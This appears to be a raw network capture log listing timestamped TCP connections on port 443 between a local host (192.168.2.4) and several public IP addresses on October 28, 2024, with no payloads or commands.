Oct 28, 2024 19:13:06.289319038 CET	443	59281	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.387640953 CET	443	59282	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.388206959 CET	59282	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.388276100 CET	443	59282	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.388681889 CET	59282	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.388705015 CET	443	59282	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.405464888 CET	443	59283	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.405896902 CET	59283	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.405913115 CET	443	59283	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.406313896 CET	59283	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.406320095 CET	443	59283	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.408446074 CET	443	59284	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.408876896 CET	59284	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.408900023 CET	443	59284	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.409265995 CET	59284	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.409270048 CET	443	59284	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.422627926 CET	443	59280	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.422661066 CET	443	59280	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.422734022 CET	59280	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.422782898 CET	443	59280	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.422960043 CET	59280	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.422960043 CET	59280	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.422991991 CET	443	59280	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.423192024 CET	443	59280	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.423264980 CET	443	59280	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.423329115 CET	59280	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.425648928 CET	59285	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.425688028 CET	443	59285	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.425946951 CET	59285	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.426094055 CET	59285	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.426104069 CET	443	59285	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.428138018 CET	443	59281	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.428415060 CET	443	59281	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.428487062 CET	59281	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.428518057 CET	59281	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.428530931 CET	443	59281	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.428539991 CET	59281	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.428545952 CET	443	59281	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.430774927 CET	59286	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.430856943 CET	443	59286	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.430932999 CET	59286	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.431041002 CET	59286	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.431061029 CET	443	59286	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.527970076 CET	443	59282	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.527992964 CET	443	59282	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.528053045 CET	59282	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.528057098 CET	443	59282	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.528112888 CET	59282	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.528359890 CET	59282	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.528409004 CET	443	59282	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.528467894 CET	59282	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.528486013 CET	443	59282	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.531580925 CET	59287	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.531615973 CET	443	59287	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.531680107 CET	59287	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.531924963 CET	59287	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.531934023 CET	443	59287	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.543927908 CET	443	59283	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.543967009 CET	443	59283	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.544014931 CET	59283	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.544032097 CET	443	59283	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.544270039 CET	59283	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.544281006 CET	443	59283	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.544290066 CET	59283	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.544430017 CET	443	59283	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.544460058 CET	443	59283	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.544504881 CET	59283	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.546885967 CET	443	59284	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.546904087 CET	59288	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.546911955 CET	443	59284	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.546946049 CET	443	59288	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.546969891 CET	59284	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.546998024 CET	443	59284	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.546998024 CET	59288	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.547082901 CET	443	59284	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.547101021 CET	59284	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.547101021 CET	59284	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.547152042 CET	443	59284	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.547189951 CET	59284	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.547202110 CET	443	59284	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.548000097 CET	59288	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.548018932 CET	443	59288	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.549422026 CET	59289	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.549474001 CET	443	59289	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:06.549552917 CET	59289	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.549685955 CET	59289	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:06.549709082 CET	443	59289	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.091726065 CET	59290	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:07.091753006 CET	443	59290	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:07.091821909 CET	59290	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:07.091993093 CET	59291	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:07.092065096 CET	443	59291	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:07.092163086 CET	59290	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:07.092176914 CET	443	59290	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:07.092197895 CET	59291	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:07.092375040 CET	59291	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:07.092401981 CET	443	59291	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:07.182997942 CET	443	59285	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.202543020 CET	59285	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.202567101 CET	443	59285	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.203406096 CET	59285	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.203411102 CET	443	59285	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.223278999 CET	443	59286	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.223987103 CET	59286	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.224013090 CET	443	59286	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.224874020 CET	59286	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.224879980 CET	443	59286	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.277268887 CET	443	59287	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.277797937 CET	59287	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.277811050 CET	443	59287	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.278455973 CET	59287	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.278460026 CET	443	59287	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.308837891 CET	443	59288	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.309294939 CET	59288	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.309312105 CET	443	59288	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.309353113 CET	443	59289	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.309751987 CET	59288	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.309756994 CET	443	59288	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.310049057 CET	59289	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.310077906 CET	443	59289	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.310647964 CET	59289	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.310659885 CET	443	59289	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.336170912 CET	443	59285	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.336227894 CET	443	59285	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.336347103 CET	443	59285	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.336499929 CET	59285	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.336729050 CET	59285	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.336750031 CET	443	59285	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.336761951 CET	59285	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.336769104 CET	443	59285	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.340523958 CET	59292	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.340562105 CET	443	59292	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.340729952 CET	59292	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.340907097 CET	59292	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.340917110 CET	443	59292	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.368568897 CET	443	59286	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.368633032 CET	443	59286	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.368794918 CET	59286	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.368954897 CET	59286	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.368971109 CET	443	59286	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.368982077 CET	59286	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.368985891 CET	443	59286	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.372891903 CET	59293	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.372914076 CET	443	59293	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.373162031 CET	59293	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.373353004 CET	59293	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.373363972 CET	443	59293	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.416734934 CET	443	59287	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.416809082 CET	443	59287	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.419004917 CET	59287	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.448734045 CET	443	59288	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.448812008 CET	443	59288	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.449139118 CET	59288	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.450519085 CET	443	59289	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.450609922 CET	443	59289	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.450691938 CET	59289	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.703360081 CET	443	59291	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:07.705077887 CET	443	59290	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:07.744471073 CET	59290	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:07.744486094 CET	59291	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:07.770979881 CET	59291	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:07.771003962 CET	443	59291	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:07.771529913 CET	443	59291	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:07.772270918 CET	59290	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:07.772285938 CET	443	59290	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:07.772604942 CET	59291	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:07.772708893 CET	443	59291	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:07.772816896 CET	443	59290	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:07.773586035 CET	59287	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.773586035 CET	59287	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.773621082 CET	443	59287	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.773633003 CET	443	59287	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.773921013 CET	59288	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.773938894 CET	443	59288	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.773948908 CET	59288	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.773952961 CET	443	59288	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.774256945 CET	59290	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:07.774344921 CET	443	59290	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:07.775553942 CET	59289	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.775590897 CET	443	59289	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.775626898 CET	59289	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.775643110 CET	443	59289	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.779819965 CET	59294	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.779872894 CET	443	59294	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.779990911 CET	59294	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.781056881 CET	59295	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.781083107 CET	443	59295	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.781271935 CET	59295	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.781708956 CET	59294	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.781722069 CET	443	59294	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.781789064 CET	59295	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.781797886 CET	443	59295	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.783077002 CET	59296	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.783159018 CET	443	59296	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.783480883 CET	59296	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.783617973 CET	59296	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:07.783653975 CET	443	59296	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:07.822594881 CET	59290	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:07.822603941 CET	59291	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:07.913631916 CET	59297	443	192.168.2.4	23.218.232.185
Oct 28, 2024 19:13:07.913685083 CET	443	59297	23.218.232.185	192.168.2.4
Oct 28, 2024 19:13:07.913765907 CET	59297	443	192.168.2.4	23.218.232.185
Oct 28, 2024 19:13:07.913928032 CET	59297	443	192.168.2.4	23.218.232.185
Oct 28, 2024 19:13:07.913952112 CET	443	59297	23.218.232.185	192.168.2.4
Oct 28, 2024 19:13:08.107880116 CET	443	59292	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.108531952 CET	59292	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.108560085 CET	443	59292	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.109019041 CET	59292	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.109024048 CET	443	59292	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.152079105 CET	443	59293	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.154381990 CET	59293	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.154406071 CET	443	59293	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.154875040 CET	59293	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.154879093 CET	443	59293	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.248300076 CET	443	59292	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.248337030 CET	443	59292	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.248405933 CET	443	59292	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.248404980 CET	59292	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.248450041 CET	59292	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.248636961 CET	59292	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.248653889 CET	443	59292	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.248672009 CET	59292	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.248676062 CET	443	59292	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.251961946 CET	59298	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.252047062 CET	443	59298	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.252243996 CET	59298	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.252413034 CET	59298	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.252449036 CET	443	59298	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.290237904 CET	443	59293	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.290266037 CET	443	59293	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.290321112 CET	59293	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.290334940 CET	443	59293	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.290380001 CET	59293	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.290555954 CET	59293	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.290565968 CET	443	59293	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.290577888 CET	59293	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.290581942 CET	443	59293	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.294056892 CET	59299	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.294090986 CET	443	59299	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.294157028 CET	59299	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.294390917 CET	59299	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.294399023 CET	443	59299	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.522315025 CET	443	59297	23.218.232.185	192.168.2.4
Oct 28, 2024 19:13:08.522600889 CET	59297	443	192.168.2.4	23.218.232.185
Oct 28, 2024 19:13:08.522614956 CET	443	59297	23.218.232.185	192.168.2.4
Oct 28, 2024 19:13:08.523633003 CET	443	59297	23.218.232.185	192.168.2.4
Oct 28, 2024 19:13:08.523706913 CET	59297	443	192.168.2.4	23.218.232.185
Oct 28, 2024 19:13:08.524880886 CET	59297	443	192.168.2.4	23.218.232.185
Oct 28, 2024 19:13:08.524943113 CET	443	59297	23.218.232.185	192.168.2.4
Oct 28, 2024 19:13:08.525185108 CET	59297	443	192.168.2.4	23.218.232.185
Oct 28, 2024 19:13:08.525191069 CET	443	59297	23.218.232.185	192.168.2.4
Oct 28, 2024 19:13:08.537113905 CET	443	59295	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.538170099 CET	59295	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.538183928 CET	443	59295	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.538826942 CET	59295	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.538830996 CET	443	59295	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.541852951 CET	443	59294	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.542402983 CET	443	59296	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.542637110 CET	59294	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.542666912 CET	443	59294	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.543632984 CET	59294	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.543642998 CET	443	59294	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.545727015 CET	59296	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.545798063 CET	443	59296	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.551479101 CET	59296	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.551503897 CET	443	59296	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.572624922 CET	59297	443	192.168.2.4	23.218.232.185
Oct 28, 2024 19:13:08.674711943 CET	443	59295	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.674741030 CET	443	59295	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.674768925 CET	443	59297	23.218.232.185	192.168.2.4
Oct 28, 2024 19:13:08.674798965 CET	443	59295	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.674804926 CET	443	59297	23.218.232.185	192.168.2.4
Oct 28, 2024 19:13:08.674813032 CET	59295	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.674841881 CET	443	59297	23.218.232.185	192.168.2.4
Oct 28, 2024 19:13:08.674854994 CET	443	59297	23.218.232.185	192.168.2.4
Oct 28, 2024 19:13:08.674877882 CET	59297	443	192.168.2.4	23.218.232.185
Oct 28, 2024 19:13:08.674885988 CET	59295	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.674890995 CET	443	59297	23.218.232.185	192.168.2.4
Oct 28, 2024 19:13:08.674902916 CET	443	59297	23.218.232.185	192.168.2.4
Oct 28, 2024 19:13:08.674920082 CET	59297	443	192.168.2.4	23.218.232.185
Oct 28, 2024 19:13:08.674947023 CET	59297	443	192.168.2.4	23.218.232.185
Oct 28, 2024 19:13:08.675295115 CET	59295	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.675307035 CET	443	59295	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.675322056 CET	59295	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.675326109 CET	443	59295	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.676207066 CET	59297	443	192.168.2.4	23.218.232.185
Oct 28, 2024 19:13:08.676222086 CET	443	59297	23.218.232.185	192.168.2.4
Oct 28, 2024 19:13:08.680133104 CET	59300	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.680169106 CET	443	59300	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.680232048 CET	59300	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.680392981 CET	59300	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.680406094 CET	443	59300	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.795485020 CET	443	59294	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.795491934 CET	443	59296	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.795511007 CET	443	59294	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.795514107 CET	443	59296	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.795528889 CET	443	59296	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.795532942 CET	443	59294	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.795619965 CET	59294	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.795625925 CET	59296	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.795650005 CET	443	59294	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.795661926 CET	443	59296	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.795725107 CET	59296	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.795752048 CET	59294	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.800499916 CET	443	59294	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.800565958 CET	59294	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.800573111 CET	443	59294	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.800586939 CET	443	59294	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.800643921 CET	59294	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.800780058 CET	59294	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.800795078 CET	443	59294	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.805793047 CET	59301	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.805830002 CET	443	59301	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.805883884 CET	59301	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.806231022 CET	59301	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.806242943 CET	443	59301	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.811259985 CET	443	59296	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.811300993 CET	443	59296	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.811336040 CET	443	59296	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.811357021 CET	59296	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.811419964 CET	59296	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.811419964 CET	59296	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.823005915 CET	59296	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.823005915 CET	59296	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.823055983 CET	443	59296	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.823100090 CET	443	59296	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.834357023 CET	59302	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.834441900 CET	443	59302	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.834515095 CET	59302	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.836600065 CET	59302	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:13:08.836630106 CET	443	59302	13.107.253.45	192.168.2.4
Oct 28, 2024 19:13:08.914966106 CET	59303	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:08.915004969 CET	443	59303	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:08.915064096 CET	59303	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:08.915189028 CET	59304	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:08.915208101 CET	443	59304	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:08.915260077 CET	59304	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:08.915466070 CET	59303	443	192.168.2.4	162.159.61.3
Oct 28, 2024 19:13:08.915478945 CET	443	59303	162.159.61.3	192.168.2.4
Oct 28, 2024 19:13:08.915761948 CET	59304	443	192.168.2.4	162.159.61.3
